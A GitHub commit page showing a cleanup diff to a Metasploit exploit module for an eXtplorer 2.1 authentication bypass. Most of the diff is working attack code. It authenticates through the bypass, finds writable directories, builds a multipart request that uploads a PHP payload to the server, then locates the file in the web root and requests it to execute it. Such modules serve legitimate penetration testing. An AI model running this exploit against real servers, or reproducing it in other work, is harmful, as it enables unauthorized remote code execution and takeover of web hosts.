Skip to content

Commit 52157b9

Browse files
author
jvazquez-r7
committed
extplorer_upload_exec cleanup
1 parent 8f91352 commit 52157b9

File tree

1 file changed

+34
-41
lines changed

1 file changed

+34
-41
lines changed

modules/exploits/multi/http/extplorer_upload_exec.rb

Lines changed: 34 additions & 41 deletions
Original file line numberDiff line numberDiff line change
@@ -30,16 +30,13 @@ def initialize(info={})
3030
],
3131
'References' =>
3232
[
33-
['URL', 'http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability'],
34-
['URL', 'http://extplorer.net/issues/105']
33+
[ 'OSVDB', '88751' ],
34+
[ 'BID', '57058' ],
35+
[ 'URL', 'http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability' ],
36+
[ 'URL', 'http://extplorer.net/issues/105' ]
3537
],
3638
'Payload' =>
3739
{
38-
'BadChars' => "\x00"
39-
},
40-
'DefaultOptions' =>
41-
{
42-
'ExitFunction' => "none"
4340
},
4441
'Platform' => 'php',
4542
'Arch' => ARCH_PHP,
@@ -71,9 +68,18 @@ def check
7168
'uri' => "#{base}extplorer.xml"
7269
})
7370

74-
return Exploit::CheckCode::Vulnerable if res and res.code == 200 and res.body =~ /<version>2\.1\.(0RC5|0|1|2)<\/version>/
75-
return Exploit::CheckCode::Detected if res and res.code == 200 and res.body =~ /eXtplorer/
76-
return Exploit::CheckCode::Safe
71+
if !res or res.code != 200
72+
return Exploit::CheckCode::Safe
73+
end
74+
75+
if res.body =~ /<version>2\.1\.0RC[012]<\/version>/
76+
return Exploit::CheckCode::Vulnerable
77+
end
78+
79+
if res.body =~ /eXtplorer/
80+
return Exploit::CheckCode::Safe
81+
end
82+
7783
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
7884
print_error("#{peer} - Connection failed")
7985
end
@@ -92,29 +98,22 @@ def on_new_session(client)
9298

9399
def upload(base, dir, fname, file)
94100

95-
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
96-
data_post = "--#{boundary}\r\n"
97-
data_post << "Content-Disposition: form-data; name=\"userfile[0]\"; filename=\"#{fname}\"\r\n"
98-
data_post << "Content-Type: application/x-httpd-php\r\n"
99-
data_post << "\r\n#{file}\r\n"
100-
data_post << "--#{boundary}\r\n"
101-
data_post << "Content-Disposition: form-data; name=\"overwrite_files\"\r\n\r\non\r\n"
102-
data_post << "--#{boundary}\r\n"
103-
data_post << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n%2f#{dir}\r\n"
104-
data_post << "--#{boundary}\r\n"
105-
data_post << "Content-Disposition: form-data; name=\"option\"\r\n\r\ncom_extplorer\r\n"
106-
data_post << "--#{boundary}\r\n"
107-
data_post << "Content-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n"
108-
data_post << "--#{boundary}\r\n"
109-
data_post << "Content-Disposition: form-data; name=\"requestType\"\r\n\r\nxmlhttprequest\r\n"
110-
data_post << "--#{boundary}\r\n"
111-
data_post << "Content-Disposition: form-data; name=\"confirm\"\r\n\r\ntrue\r\n"
112-
data_post << "--#{boundary}\r\n"
101+
data = Rex::MIME::Message.new
102+
data.add_part(file, 'application/x-httpd-php', nil, "form-data; name=\"userfile[0]\"; filename=\"#{fname}\"")
103+
data.add_part("on", nil, nil, "form-data; name=\"overwrite_files\"")
104+
data.add_part("%2f#{dir}", nil, nil, "form-data; name=\"dir\"")
105+
data.add_part("com_extplorer", nil, nil, "form-data; name=\"option\"")
106+
data.add_part("upload", nil, nil, "form-data; name=\"action\"")
107+
data.add_part("xmlhttprequest", nil, nil, "form-data; name=\"requestType\"")
108+
data.add_part("true", nil, nil, "form-data; name=\"confirm\"")
109+
110+
data_post = data.to_s
111+
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
113112

114113
res = send_request_cgi({
115114
'method' => 'POST',
116115
'uri' => "#{base}index.php",
117-
'ctype' => "multipart/form-data; boundary=#{boundary}",
116+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
118117
'data' => data_post,
119118
'cookie' => datastore['COOKIE'],
120119
})
@@ -149,8 +148,7 @@ def exploit
149148
if res and res.code == 200 and res.body =~ /Are you sure you want to delete these/
150149
print_status("#{@peer} - Authenticated successfully")
151150
else
152-
print_error("#{@peer} - Authentication failed")
153-
return
151+
fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
154152
end
155153

156154
# search for writable directories
@@ -163,8 +161,7 @@ def exploit
163161
'data' => "option=com_extplorer&action=getdircontents&dir=#{base}&sendWhat=dirs&node=ext_root",
164162
})
165163
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
166-
print_error("#{@peer} - Connection failed")
167-
return
164+
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
168165
end
169166
if res and res.code == 200 and res.body =~ /\{'text':'([^']+)'[^\}]+'is_writable':true/
170167
dir = "#{base}#{$1}"
@@ -182,12 +179,10 @@ def exploit
182179
if res and res.code == 200 and res.body =~ /'message':'Upload successful\!'/
183180
print_good("#{@peer} - File uploaded successfully")
184181
else
185-
print_error("#{@peer} - Uploading PHP payload failed")
186-
return
182+
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
187183
end
188184
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
189-
print_error("#{@peer} - Connection failed")
190-
return
185+
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
191186
end
192187

193188
# search directories in the web root for the file
@@ -200,8 +195,7 @@ def exploit
200195
'cookie' => datastore['COOKIE'],
201196
})
202197
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
203-
print_error("#{@peer} - Connection failed")
204-
return
198+
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
205199
end
206200
if res and res.code == 200 and res.body =~ /'dir':'\\\/([^']+)'/
207201
dir = $1.gsub('\\','')
@@ -218,8 +212,7 @@ def exploit
218212
'uri' => "/#{dir}/#{@fname}"
219213
})
220214
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
221-
print_error("#{@peer} - Connection failed")
222-
return
215+
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
223216
end
224217
if res and res.code != 200
225218
print_error("#{@peer} - Executing payload failed")

0 commit comments

Comments
 (0)